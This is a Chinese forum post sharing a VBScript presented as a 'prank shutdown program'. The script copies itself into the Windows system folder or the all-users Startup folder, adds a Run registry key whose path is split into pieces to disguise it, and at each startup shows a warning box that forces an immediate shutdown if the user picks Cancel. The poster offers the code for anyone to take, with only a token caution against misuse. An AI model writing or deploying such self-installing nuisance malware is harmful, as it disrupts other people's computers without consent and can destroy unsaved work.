• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    vb下的恶搞关机程序

    发布者: 涵韵3588 | 发布时间: 2025-8-13 12:37| 查看数: 70| 评论数: 0|帖子模式

    额,不多介绍了,能看懂的就拿走,看不懂的拿走也没用。

    Dim fs, dirwin, c,Wll, str,strr,r
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set dirwin = fs.GetSpecialFolder(1)
    Set Wll = WScript.CreateObject("WScript.Shell")
    Set c = fs.GetFile(WScript.ScriptFullName)
    str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
    if (fs.FileExists(dirwin&"\wxb.vbs")) Then
    call Show_And_Do("reg")
    elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
    call Show_And_Do("Startup")
    else
    On Error Resume Next
    strr=""
    Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
    strr=Wll.Regread (str)
    if strr="" then
    c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
    else
    c.Copy(dirwin&"\wxb.vbs")
    end if
    end if
    sub Show_And_Do(s)
    dim f
    r = MsgBox ("警告:请不要随便动我的电脑! " & Chr(13) & Chr(10) & "确定->下次一定会先征求同意的" & Chr(10) & "取消->爱咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")
    If r = 1 Then  
    if s="Startup" then
    set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
    f.Delete()
    elseif s="reg" then
    Wll.RegDelete str
    set f = fs.GetFile(dirwin&"\wxb.vbs")
    f.Delete()
    end if  
    Else
    wll.run "Shutdown.exe -s -f -t 0"
    End If
    end sub

    好了,代码分享给大家了,不要随便拿去搞破坏!

    来源:互联网
    免责声明:如果侵犯了您的权益,请联系站长(1277306191@qq.com),我们会及时删除侵权内容,谢谢合作!

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表